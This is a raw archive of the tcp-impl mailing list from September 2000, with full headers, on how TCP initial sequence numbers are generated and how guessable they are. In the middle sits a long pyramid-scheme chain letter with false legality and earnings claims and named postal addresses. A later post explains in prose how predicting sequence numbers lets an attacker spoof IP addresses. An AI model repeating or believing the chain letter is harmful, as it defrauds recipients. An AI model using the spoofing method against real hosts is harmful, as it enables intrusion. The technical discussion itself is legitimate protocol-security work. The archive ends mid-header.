<200009191945.e8JJjg415323@calcite.rhyolite.com> From: stanislav shalunov Date: 19 Sep 2000 22:10:39 -0400 In-Reply-To: <200009191945.e8JJjg415323@calcite.rhyolite.com> Message-ID: <87r96fn78g.fsf@cain.internet2.edu> Lines: 68 X-Mailer: Gnus v5.7/Emacs 20.4 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Vernon Schryver writes: > You must assume that the attacker has a current copy of the source > to your TCP code and local hardware for private experiments. Of course, I'm assuming that. You, on the other hand, appear to be alternating between threat model where the attacker is not motivated to do anything (even forge a Received line in an email) and threat model where the adversary is a resourceful determined enemy. Naturally, assuming the latter is safer. > > Of course, they're valuable. They give one much more entropy than one > > could ever possibly want for a very good PRNG. > > That is an obviously incorrect, or at least very carelessly worded > cryptographic claim. Even the best crypto PRNG can be trivially and > extremely quickly reversed if you know all but 5 or 6 of its initial state. > In this context, you must assume the bad guy knows which of the 5 or 6 > input bits are variable, because the bad guy has a copy of your source. Of course, 5 or 6 bits of total entropy would not be enough (the attacker could manually try all the combinations). However, something like 128 total bits of entropy are enough for a lot of pseudo-random numbers. And, with .01 bits of entropy per packet, you'd accumulate that only after 12800 packets (and could save that across reboots to disk or non-volatile memory). > Your 0.01 bits/packet of entropy makes no sense to me. If there were only > 0.01 or even 1 bit of entropy in packet arrival times, then we wouldn't > need RTP and the many other ToS and QoS mechanisms. Even the telco guys > would have switched to packets 25 years ago. I was making a conservative estimate. Jitter that was caused by the network is disregarded, since the adversary can observe it. I was assuming that jitter caused by local bus contention and interrupt latency is about 6us--this is what we seem to observe. On a machine with microsecond clock resolution this would yield 2-3 bits. Of course, there's a positive correlation between delay and load, so the real entropy is less than that. There may be other factors that would decrease the amount of entropy (for example, one could have a clock that is more likely to report last bit as being 1 than 0). The .01 bits figure seems to be sufficiently conservative. > Consider the 10 MHz Ethernet packets I was talking about. They won't come > more often than once every 64 microsecond slot time. And you assume that this time is uniformly distributed? The rest assumes no correlation of this time with anything else, ideal clock, etc. The ideal clock assumption, by the way, seems to not co-exist very well with the assumption of uniform distribution of time of arrival within slot time. In any case, this is largely immaterial. What I was saying is that there's no need for TCP implementation to use true random numbers directly for ISN generation purposes. In fact, even very small amounts of entropy are sufficient for generation of unpredictable ISNs. On the other hand, over-optimistic assumptions about the amount of entropy in various inputs can lead to implementations that would generate more easily predictable ISNs than a naive "get-some-entropy-and-run-arcfour" approach. -- Stanislav Shalunov Internet Engineer, Internet2 "Computer Science is no more about computers than astronomy is about telescopes." -- E. W. Dijkstra From owner-tcp-impl@lerc.nasa.gov Wed Sep 20 02:30:16 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA15281 for ; Wed, 20 Sep 2000 02:30:16 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id AAA05136 for tcp-impl-outgoing; Wed, 20 Sep 2000 00:11:49 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id AAA05121 for ; Wed, 20 Sep 2000 00:11:47 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id AAA21696; Wed, 20 Sep 2000 00:11:47 -0400 Received: from calcite.rhyolite.com(38.159.140.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma021657; Wed, 20 Sep 00 00:11:26 -0400 Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.0/8.11.0) id e8K4BON23856 for tcp-impl@grc.nasa.gov env-from ; Tue, 19 Sep 2000 22:11:24 -0600 (MDT) Date: Tue, 19 Sep 2000 22:11:24 -0600 (MDT) From: Vernon Schryver Message-Id: <200009200411.e8K4BON23856@calcite.rhyolite.com> To: tcp-impl@grc.nasa.gov Subject: Re: Calculations of ISN for new TCP sessions Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk > From: stanislav shalunov > ... > > You must assume that the attacker has a current copy of the source > > to your TCP code and local hardware for private experiments. > > Of course, I'm assuming that Until now, you consistently and repeatedly said otherwise. > You, on the other hand, appear to be > alternating between threat model where the attacker is not motivated > to do anything (even forge a Received line in an email) and threat > model where the adversary is a resourceful determined enemy. No, as I said, spammers are motivated but incredibly stupid. People who predict ISN's are also motivated, and if there is any chance they'll predict even a simple counter of an ISN generator, not stupid (or at least not as spammers are stupid). But enough of this. You keep making statements whose literal meanings are inconsistent with my understandings. When contradicted, you reinterpret your statements and we suddenly seem to have agreed all along. Then you say new things that are surprising, but are often modified summaries of recent statements here or statements common elsewhere. I feel as I'm arguing with a creative echo of a mixture words from this thread, accepted sci.crypt wisdom, and executive summaries from counterpane.com. Although I disagree with many of your most recent statements, I can't find anything strictly relevant to implementing ISN generators compliant with RFC 1948 and/or resistent to guessing. So let's just leave it at this, and agree to disagree on whatever the issue is. Vernon Schryver vjs@rhyolite.com From owner-tcp-impl@lerc.nasa.gov Wed Sep 20 17:50:44 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA08929 for ; Wed, 20 Sep 2000 17:50:43 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id PAA10694 for tcp-impl-outgoing; Wed, 20 Sep 2000 15:08:24 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (firewall-user@guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id PAA10664 for ; Wed, 20 Sep 2000 15:08:14 -0400 (EDT) From: nile333@kadet.co.uk Received: by seraph3.lerc.nasa.gov; id PAA13155; Wed, 20 Sep 2000 15:08:13 -0400 Date: Wed, 20 Sep 2000 15:08:13 -0400 Message-Id: <200009201908.PAA13155@seraph3.lerc.nasa.gov> Received: from unknown(194.170.227.9) by seraph3.lerc.nasa.gov via smap (V5.5) id xma013040; Wed, 20 Sep 00 15:07:28 -0400 Received: from SMTP agent by mail gateway Wed, 20 Sep 2000 23:10:15 --400 Received: from firewall-in.al-rostamani.co.ae by bdcsql1.al-rostamani.co.ae with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8) id TFDHQZQR; Wed, 20 Sep 2000 22:14:34 +0400 Received: from SMTP agent by mail gateway Wed, 20 Sep 2000 22:19:30 --400 To: nile333@kadet.co.uk Subject: So, How in the heck have you been? Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk So, How in the heck have you been? Do you remember holding previous conversations regarding business and money making opportunities? I did not send this to you in error! You Said: If only I could find an easier way to make a higher income! and If I had more money, I could spend more time with my Family, and less time at work and I sure could use more money so I could pay off my bills once and for all! And I would love to get involved in a business in which will generate money while I am not at work (like a Gas Pump)! Dear Friend, There is a possibility that we haven’t met, but you were chosen by someone to receive this E-Mail. Please, please, print this off and read thoroughly. Be sure that you don’t miss any of the points outlined. Then put it down, and then read it again. I am sending you a whole lot of information in which you might not understand the first time you read it. If you don’t believe this program will work for you, send it to 10-20 of your closest friends (in which you trust deeply), and ask them what they think? This really works! Have faith, don’t miss this opportunity, get involved also, and it will work for you as it does for us!!!! Due to the popularity of this letter on the Internet, A Major Nightly News Program recently dedicated an entire show to the investigation of the program described below to see if it really can make people money. The show also investigated whether or not the program was legal. Their findings proved that there are absolutely no laws prohibiting the participation in the program. This has helped to show people that this is a simple, harmless and fun way to make extra money at home. The results have been truly remarkable. So many people are participating that those involved are doing much better than ever before. Since everyone makes more as more people try it out, its been very exciting. You will understand only if you get involved! ********** THE ENTIRE PLAN IS HERE BELOW ********** **** Print This Now For Future Reference **** $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ If you would like to make AT LEAST $50,000 in less than 90 days! If not, forward this to someone who would like to make this kind of money. It works (like designed) but only for those who follow it to the letter! Please read this program THEN READ IT AGAIN!! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ THIS IS A LEGITIMATE. LEGAL, MONEY MAKING OPPORTUNITY!! It does NOT require you to come into contact with people or make or take any telephone calls. Just follow the instructions, and you will make money. This simplified e-mail marketing program works perfectly 100% EVERY TIME! E-mail is the sales tool of the future. Take advantage of this virtually free method of advertising NOW!!! The longer you wait, the more people will be doing business using e-mail. Get your piece of this action!!! Hello, My name is Johnathon Rourke, I’m from Rhode Island. The enclosed information is something I almost let slip through my fingers. Fortunately, sometime later I re-read everything and gave some thought and study to it. Two years ago, the corporation I worked for the past twelve yearsdown-sized and my position was eliminated. After unproductive job interviews, I decided to open my own business. Over the past year,I incurred many unforeseen financial problems. I owed my family, friends and creditors over$35,000. The economy was taking a toll on my business and I just could not seem to make ends meet. I had to refinance and borrow against my home to support my family and struggling business. AT THAT MOMENT something significant happened in my life. I am writing to share the experience I hopes that this could change your life FOREVER. FINANCIALLY$$$!!! In mid December, I received this program in my e-mail. Six months prior to receiving this program I had been sending away for information on various business opportunities. All of the programs I received, in my opinion,were not cost effective. They were either toodifficult for me to comprehend or the initial investment was too muchfor me to risk to see if they would work. But as I was saying, in December of 1997 I received this program.I didn’t send for it, or ask for it, they just got my name off a mailing list. THANK GOODNESS FOR THAT!!! After reading it several times, to make sure I was reading it correctly. I couldn’t believe my eyes! Here was a MONEY MAKING MACHINE I could start immediately without any debt. Like most of you I was still a little skeptical and a little worried about the legalaspects of it all. So I checked it out with the U.S. Post Office (1-800-725-2161 24-hrs) and they confirmed that it is indeed legal ! After determining the program was LEGAL I decided WHY NOT!?!?? Initially I sent out 10,000 e-mails. It cost me about $15 for my time on-line. The great thing about e-mail is that I don’t need any paper for printing to send out the program, and because I also send the product (reports) by e-mail, my only expense is my time. In less than one week,I was starting to receive orders for REPORT #1. By January 13, I had received 26 orders for REPORT #1. Your goal is to RECEIVE at least 20 ORDERS FOR REPORT #1 WITHIN 2 WEEKS. IF YOU DON’T SEND OUT MORE PROGRAMS UNTIL YOU DO. My first step in making $50,000 in 90 days was done. By January 30, I had received 196 orders for REPORT #2. Your goal is to RECEIVE AT LEAST 100+ ORDERS FOR REPORT #2 WITHIN 2 WEEKS. IF NOT SEND OUT MORE PROGRAMS UNTIL YOU! DO. ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU WILL MAKE YOUR $50,000 GOAL. Well, I had 196 orders for REPORT #2. 96 more than I needed. So I sat back and relaxed. By March 1, of my e-mailing of 10,000, received $58,000 with more coming in every day. I paid off ALL my debts and bought a much need new car! Please take your time to read this plan, IT WILL CHANGE YOUR LIFE FOREVER$!!! Remember, it won’t work if you don’t try it. This program does work, But you must follow it EXACTLY! Especially the rules of not trying to place your name in a different place. It won’t work and you’ll lose out on a lot of money! In order for this program to work, you must meet your goal of 20+ orders for REPORT #1, and 100+ orders for REPORT #2 and you will make $50,000 or more in 90 days. I AM LIVING PROOF THAT IT WORKS!!! If you choose not to participate in this program, I am sorry. It really is a great opportunity with little cost or risk to you. If you choose toparticipate, follow the program and you will be on your way to financial security. If you are a fellow business owner and are financial trouble like I was, or you want to start your own business, consider this a sign. I DID! $$ Sincerely, Johnathon Rourke A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM: By the time you have read the enclosed program and reports, you should have concluded that such a program, and one that is legal, cpuld not have been created by an amateur. Let me tell you a little about myself. I had a profitable business for 10 years. Then in 1979 my business began falling off. I was doing the same things that were previously successful for me, but it wasn’t working. Finally, I figured it out. It wasn’t me, it was the economy. Inflation and recession had replaced the stable economy that had been with us since 1945. I don’t have to tell you what happened to the unemployment rate because many of you know from first hand experience. There were more failures and bankruptcies than ever before. The middle class was vanishing. Those who knew what they were doing invested wisely and moved up. Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor. As the saying goes, THE RICH GET RICHER ANDTHE POOR GET POORER. The traditional methods of making money will never allow you to move up or get rich, inflation will see to that You have just received the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few months than you have everimagined.I should also point out that I will not see a penny of this money, nor anyone else who has provided a testimonial for this program. I retired from the program after sending thousands and thousands of programs. Follow the program EXACTLY AS INSTRUCTED. Do not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copyof this exciting report to everyone you can think of. One of the people you send this to may send out 50,000 and your name will be on everyone of them! REMEMBER though, ------ the MORE YOU SEND OUT, the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU!! NOW DO IT!! BEFORE YOU delete this program from your in box, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out what could happen when YOU participate. Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money! You will definitely get back what you invested. Any doubts you have will vanish when your first orders come in. $$$ IT WORKS!!! $$$ Jody Jacobs Richmond, VA. HERE’S HOW THIS AMAZING PROGRAM WILL MAKE YOU THOUSANDS OF DOLLARS$$$$!!!! This method of raising capital REALLY WORKS 100% EVERY TIME. I am sure that you could use up to $50,000 or more in the next 90 days. Before you say BULL, please read this program carefully. This is not a chain letter,but a perfectly legal money making business. As with all multi-level businesses, we build our business by recruiting new partners and selling our products. Every state in the USA allows you to recruit new multi-level business partners, and we sell and deliver a product for EVERY dollar received. YOUR ORDERS COME BY MAIL AND ARE FILLED BY E-MAIL, so you are not involved in personal selling. You do it privately in your own home, store or office. This is the EASIEST marketing plan anywhere! It is simply order filling by e-mail! The product is informational and instructional material, keys to the secrets for everyone on how to open the doors to the magic world of E-COMMERCE, the information highway, the wave of the future ! PLAN SUMMARY: (1) You order the 4 reports listed below ($5 each) They come to you by e-mail. (2) Save a copy of this entire letter and put your name after Report #1 and move the other names down. (3) Via the internet, access Yahoo.com or any of the other major search engines to locate hundreds of bulk e-mail service companies (search for bulk email) and have them send 25,000 50,000 emails for you about $49+. (4) Orders will come to you by postal mail simply e-mail them the Report they ordered. Let me ask you isn’t this about as easy as it gets? By the way there are over 50 MILLION e-mail address with millions more joining the internet each year so don’t worry about running out or saturation. People are used to seeing and hearing the same advertisements every day on radio/TV. How many times have you received the same pizza flyers on your door? Then one day you are hungry for pizza and order one. Same thing with this letter. I received this letter many times then one day I decided it was time to try it. YOU CAN START TODAY UST DO THESE EASY STEPS: STEP #1 ORDER THE FOUR REPORTS Order the four reports shown on the list below (you can’t sell them if you don’t order them). For each report, send $5.00 CASH, the NAME & NUMBER OF THE REPORT YOU ARE ORDERING, YOUR E-MAIL ADDRESS, and YOUR NAME & RETURN ADDRESS (in case of a problem) to the person whose name appears on the list next to the report.MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE IN CASE OF ANY MAIL PROBLEMS! Within a few days you will receive, by e-mail each of the four reports.Save them on your computer so you can send them to the 1,000’s of people who will order them from you. STEP #2. ADD YOUR MAILING ADDRESS TO THIS LETTER a. Look below for the listing of the four reports. b. After you’ve ordered the four reports, delete the name and address under REPORT #4. This person has made it through the cycle. c. Move the name and address under REPORT #3 down to REPORT #4. d. Move the name and address under REPORT #2 down to REPORT #3. e. Move the name and address under REPORT #1 down to REPORT #2. f. Insert your name/address in the REPORT #1 position. Please make sure you COPY ALL INFORMATION, every name and address, ACCURATELY! STEP #3. Take this entire letter, including the modified list of names, and save it to your computer. Make NO changes to these instructions. Now you are ready to use this entire e-mail to send by e-mail to prospects. Report #1 will tell you how to download bulk email software and email address so you can send it out to thousands of people while you sleep! Remember that 50,000+ new people are joining the internet every month! Your cost to participate in this is practically nothing ( surely you can afford $20 and initial bulk mailing cost). You obviously already have a computer and an Internet connection and e-mail is FREE! There are two primary methods of building your downline: METHOD #1: SENDING BULK E-MAIL let’s say that you decide to start small, just to see how it goes, and we’ll assume you and all those involved email out only 2,000 programs each. Let’s also assume that the mailing receives a 0.5% response. The response could be much better. Also, many people will email out thousands of thousands of programs instead of 2,000 (Why stop at 2000?) But continuing with this example, you send out only 2,000 programs. With a 0.5% response, that is only 10 orders for REPORT #1. Those 10 people respond by sending out 2,000 programs each for a total of 20,000. Out of those 0.5%, 100 people respond and order REPORT #2.Those 100 mail out 2,000 programs each for a total of 200,000. The 0.5% response to that is 1,000 orders for REPORT #3. Those 1,000 send out 2,000 programs each for a 2,000,000 total. The 0.5% response to that is 10,000 orders for REPORT #4. That’s 10,000 $5 bills for you. CASH!!! Your total income in this example is $50 + $500 + $5000 + $50,000 for a total of $55,550!!! REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING AND TRASH THIS PROGRAM! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000. Believe me, many people will do just that, and more! METHOD #2 PLACING FREE ADS ON THE INTERNET Advertising on the internet is very, very inexpensive, and there are HUNDREDS of FREE places to advertise. Let’s say you decide to start small to see how well it works. Assume your goal is to get ONLY 10 people to participate on your first level. (Placing a lot of FREE ads on the Internet will EASILY get a larger response). Also assume that everyone else in YOUR ORGANIZATION gets only 10 downline members. Look how this small number accumulates to achieve the STAGGERING results below: 1St level your first 10 send you $5........................$50 2nd level 10 members from those 10 ($5 x 100)............$500 3rd level 10 members from those 100 ($5 x 1,000)......$5,000 4th level 10 members from those 1,000 ($5 x 10,000)..$50,000 $$$$$$ THIS TOTALS ------------------------------------------------55,5550 $$$$$ AMAZING ISN’T IT Remember friends, this assumes that the people who participate only recruit 10 people each. Think for a moment what would happen if they got 20 people to participate! Most people get 100’s of participants and many will continue to work this program, sending out programs WITH YOUR NAME ON THEM for years! THINK ABOUT IT! People are going to get emails about this plan from you or somebody else and many will work this plan the question is Don’t you want your name to be on the emails they will send out? *** DON’T MISS OUT !!!*** ***JUST TRY IT ONCE !!!*** ***SEE WHAT HAPPENS !!!*** ***YOU'LL BE AMAZED !!!*** ALWAYS PROVIDE SAME DAY SERVICE ON ALL ORDERS! This will guarantee that the e-mail THEY send out with YOUR name and address on it will be prompt because they can’t advertise until they receive the report! GET STARTED TODAY: PLACE YOUR ORDER FOR THE FOUR REPORTS NOW. Note:-- ALWAYS SEND $5 CASH (U.S. CURRENCY) FOR EACH REPORT. CHECKS NOT ACCEPTED. Make sure the cash is concealed by wrapping it in two sheets of paper. On one of those sheets write: (a) the number & name of the report you are ordering (b) your e-mail address, and (c) your name & postal address. REPORT #1b The Insider’s Guide to Advertising for Free on the Internet ORDER REPORT #1 FROM: NICK NICHOLAS 473 MICHIGAN ST ST.PAUL, MN 55102 NOTE: I and every member below are dedicated at helping you with this program so it will work for you also. TRY US! REPORT #2 The Insider’s Guide to Sending Bulk E-Mail on the Internet ORDER REPORT #2 FROM: DIANE COLON 1811 TAMARIND AVE # 206 LOS ANGELES, CA. 90028 REPORT #3 The Secrets to Multilevel Marketing on the Internet ORDER REPORT #3 FROM: MELISSA HOGENMILLER 3709 MONHEIM ROAD CONOVER, WI 54519 REPORT #4 How to become a Millionaire utilizing the Power of Multilevel Marketing and the Internet ORDER REPORT #4 FROM: CATHY BARROW 10 SYCAMORE STREET CONWAY, SC 29527 *************TIPS FOR SUCCESS*************** TREAT THIS AS YOUR BUSINESS! Be prompt, professional, and follow the directions accurately. Send for the four reports IMMEDIATELY so you will have them when the orders start coming in because: When you receive a $5 order you MUST send out the requested product/report. It is required for this to be a legal business and they need the reports to send out their letter (with your name on them). --ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE. Be patient and persistent with this program- If you follow the instructions exactly results WILL FOLLOW. $$$$ ************ YOUR SUCCESS GUIDELINES *************** Follow these guidelines to guarantee your success: If you don’t receive 20 orders for REPORT #1 within two weeks, continue advertising or sending e-mail until you do. Then a couple of weeks later you should receive at least 100 orders for REPORT #2. If you don’t continue advertising or sending e-mail until you do. Once you have received 100 or more orders for REPORT #2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a DIFFERENT report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. To generate more income, simply send another batch of e-mails or continue placing ads and start the whole process again! There is no limit to the income you will generate from this business! Before you make your decision as to whether or not you participate in this program. Please answer one question: ARE YOU HAPPY WITH YOUR PRESENT INCOME OR JOB? 1. If the answer is no, then please look at the following facts about this super simple MLM program: NO face to face selling, NO meetings, NO inventory! NO Telephone calls, NO big cost to start! Nothing to learn, No skills needed! (Surely you know how to send email?) 2. No equipment to buy you already have a computer and internet connection so you have everything you need to fill orders! 3. You are selling a product which does NOT COST ANYTHING TO PRODUCE OR SHIP! (Email copies of the reports are FREE!) 4. All of your customers pay you in CASH! This program will change your LIFE FOREEVER!! Look at the potential for you to be able to quit your job and live a life of luxury you could only dream about! Imagine getting out of debt and buying the car and home of your dreams and being able to work a super-high paying leisurely easy business from home! $$$ FINALLY MAKE SOME DREAMS COME TRUE! $$$ ACT NOW! Take your first step toward achieving financial independence. Order the reports and follow the program outlined above __ SUCCESS will be your reward. Thank you for your time and consideration. PLEASE NOT: If you need help with starting a business, registering a business name, learning now income tax is handled, etc., contact your local office of the Small Business Administration (A Federal Agency) 1-800-827-5722 for free help and answers to questions. Also the Internal Revenue Service offers free help via telephone and free seminars about business tax requirements. Your earnings are highly dependent on your activities and advertising. The information contained on this site and in the report constitutes no guarantees stated nor implied. In the event that it is determined that this site or report constitutes a guarantee of any kind, that guarantee is now void. The earnings amounts listed on this site and in the report are estimates only. If you have any questions of the legality of this program, contact the Office of Associate Director for Marketing Practices, Federal Trade Commission, Bureau of Consumer Protection in Washington DC. Under Bill s.1618 TITLE III passed by the 105th US Congress this letter cannot be considered spam as long as the sender includes contact information and a method of removal. This is a one time e-mail transmission. No request for removal is necessary. From owner-tcp-impl@lerc.nasa.gov Wed Sep 20 17:50:46 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA08931 for ; Wed, 20 Sep 2000 17:50:43 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id PAA12073 for tcp-impl-outgoing; Wed, 20 Sep 2000 15:14:41 -0400 (EDT) Received: from lawyers.grc.nasa.gov (IDENT:root@lawyers.lerc.nasa.gov [139.88.87.34]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with ESMTP id PAA12060 for ; Wed, 20 Sep 2000 15:14:39 -0400 (EDT) Received: from lawyers.grc.nasa.gov (IDENT:mallman@localhost [127.0.0.1]) by lawyers.grc.nasa.gov (8.9.3/8.9.3) with ESMTP id KAA28367 for ; Wed, 20 Sep 2000 10:14:24 -0400 Message-Id: <200009201414.KAA28367@lawyers.grc.nasa.gov> To: tcp-impl@grc.nasa.gov From: Mark Allman Reply-To: mallman@grc.nasa.gov Subject: Re: TCP sequence numbers Organization: Late Night Hackers, NASA Glenn, Cleveland, Ohio Song-of-the-Day: Cheap Sunglasses Date: Wed, 20 Sep 2000 10:14:24 -0400 Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk The following was caught by the mailing list filters... allman > Date: Wed, 20 Sep 2000 02:37:30 +1000 > From: Charles Esson > CC: tcp-impl@grc.nasa.gov > Subject: Re: TCP sequence numbers > > I have a question also. After you have received the first packet; you know > the sequence number of the next? The person receiving the initial sequence > number has no idea what the sender is going to send anyway. > > So if you want to trick the receiver you can use anything. If you want to > trick the sender I would have thought you needed to know; the sender was > going to send; the initial packet would be a good way to work that out and > get the ISN. > > Why is guessing the sequence number of the first packet before it arrives > such a big deal? > > Unless there is a good answer to that question; the rest is just rubbish. > > der Mouse wrote: > > > > Question 1: > > > > > Recently, there has been talk on the tcp-impl mailing list that ISN > > > can be random. If so, how can it be guaranteed that an old duplicate > > > will be rejected during a reincarnation? > > > > It can't; this is one of the problems with making the whole ISN random. > > A better approach might be to (say) make the high 16 bits count and the > > low 16 bits random - there are details, such as dealing with multiple > > transient connections in a small interval of time, but something like > > this could probably be made to work. > > > > > Question 2: > > > > > Can circumstances arise such that TCP pumps the connection's data > > > into the network at such a high rate, that subsequent sequence > > > numbers increase at the same rate as ISNs? > > > > ...or faster. Yes. If the ISN comes from a counter that ticks every 4 > > microseconds, that corresponds to 250000 bytes/sec; I routinely see > > transfer rates over twice that even on 10Mbps Ethernet - and I've seen > > over 32 times it, over eight MB/sec, when running at 100Mbps. > > > > Also, at 4 us per tick, the counter will wrap every 4.77+ hours. I > > routinely have connections which stay up for days, transferring on the > > order of kilobytes, which means that the ISN counter wraps around and > > catches up to the connection's sequence numbers over and over again. > > > > These are (among the reasons) why TIME-WAIT is so important. > > > > der Mouse > > > > mouse@rodents.montreal.qc.ca > > 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B From owner-tcp-impl@lerc.nasa.gov Wed Sep 20 19:46:11 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA11155 for ; Wed, 20 Sep 2000 19:46:11 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id RAA08530 for tcp-impl-outgoing; Wed, 20 Sep 2000 17:35:40 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id RAA08514 for ; Wed, 20 Sep 2000 17:35:38 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id RAA00683; Wed, 20 Sep 2000 17:35:37 -0400 Received: from twig.rodents.montreal.qc.ca(132.206.78.3) by seraph3.lerc.nasa.gov via smap (V5.5) id xma000653; Wed, 20 Sep 00 17:35:18 -0400 Received: (from mouse@localhost) by Twig.Rodents.Montreal.QC.CA (8.8.8/8.8.8) id RAA26301; Wed, 20 Sep 2000 17:35:15 -0400 (EDT) Date: Wed, 20 Sep 2000 17:35:15 -0400 (EDT) From: der Mouse Message-Id: <200009202135.RAA26301@Twig.Rodents.Montreal.QC.CA> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit To: tcp-impl@grc.nasa.gov Subject: Re: TCP sequence numbers Sender: owner-tcp-impl@lerc.nasa.gov Precedence: bulk Content-Transfer-Encoding: 8bit > Why is guessing the sequence number of the first packet before it > arrives such a big deal? Because it allows you to impersonate an arbitrary IP address, provided you don't care about seeing what the victim sends back, and provided that the host you're impersonating doesn't RST the connection before your evil deeds can be done. The way it works: (1) You send a SYN, with a forged ip_src and whatever ISN you feel like. Except for the forged ip_src, this is a perfectly normal SYN. (2) Victim responds, to the address you're pretending to be, ACKing your SYN and sending its own SYN, with its own ISN. (3) If this were a normal connection, you'd ACK its SYN. But since the reply goes off towards the machine you're impersonating, rather than to you, you have to guess the ISN in order to ACK it acceptably. (4) Once you've guessed the ISN, you can send data and it will be accepted as coming from the IP you're pretending to be. I've just noticed something that's a bit disturbing, though it doesn't really sound like much of a practical problem (and of course it will now turn out to have been discussed to death back before I started reading the list :-). If you know the victim's ISN to within a few guesses (where "a few" can mean as many as several thousand, depending on factors such as the bandwidth available), you can just flood it with SYN-ACKs using all possible sequence numbers. You won't know which one worked, but one of them will. (The rest will be dropped as out-of-window - are there any known TCPs that will generate any kind of alert upon seeing a flood of out-of-sequence packets?) Since you don't know which one worked, you have to also flood all further data on all possible sequence numbers, and special care has to be taken if two or more possible sequence numbers are close together...but, to an extent, bandwidth can make up for imperfect knowledge. Of course, as someone (vjs I think?) said, anyone who depends on peer IPs for authentication these days is probably being sufficiently foolish to deserve everything sie gets, so being able to forge someone else's IP is perhaps not as big a deal as it was back when everyone used .rhosts and hosts.equiv. der Mouse mouse@rodents.montreal.qc.ca 7D C8 61 52 5D E7 2D 39 4E F1 31 3E E8 B3 27 4B From owner-tcp-impl@lerc.nasa.gov Wed Sep 20 21:03:00 2000 Received: from lombok-fi.lerc.nasa.gov (lombok-fi.lerc.nasa.gov [139.88.112.33]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA12378 for ; Wed, 20 Sep 2000 21:02:59 -0400 (EDT) Received: (from listserv@localhost) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) id TAA15185 for tcp-impl-outgoing; Wed, 20 Sep 2000 19:03:09 -0400 (EDT) Received: from seraph3.lerc.nasa.gov (guardian03.lerc.nasa.gov [139.88.146.12]) by lombok-fi.lerc.nasa.gov (NASA LeRC 8.9.1.1/8.9.1) with SMTP id TAA15171 for ; Wed, 20 Sep 2000 19:03:06 -0400 (EDT) Received: by seraph3.lerc.nasa.gov; id TAA10432; Wed, 20 Sep 2000 19:03:06 -0400 Received: from mg03.austin.ibm.com(192.35.232.20) by seraph3.lerc.nasa.gov via smap (V5.5) id xma010379; Wed, 20 Sep 00 19:03:00 -0400 Received: from netmail1.austin.ibm.com (netmail1.austin.ibm.com [9.53.250.96]) by mailgate3.austin.ibm.com (AIX4.3/8.9.3/8.9.3) with ESMTP id RAA11762 for ; Wed, 20 Sep 2000 17:42:00 -0500 Received: from austin.ibm.com (ambika.austin.ibm.com [9.53.150.77]) by netmail1.austin.ibm.com (8.8.5/8.8.5) with ESMTP id SAA55074; Wed, 20 Sep 2000 18:02:56 -0500 Message-ID: <39C94220.E1198F23@austin.ibm.com> Date: Wed, 20 Sep 2000 18:02:56 -0500 From: venkat venkatsubra Organization: 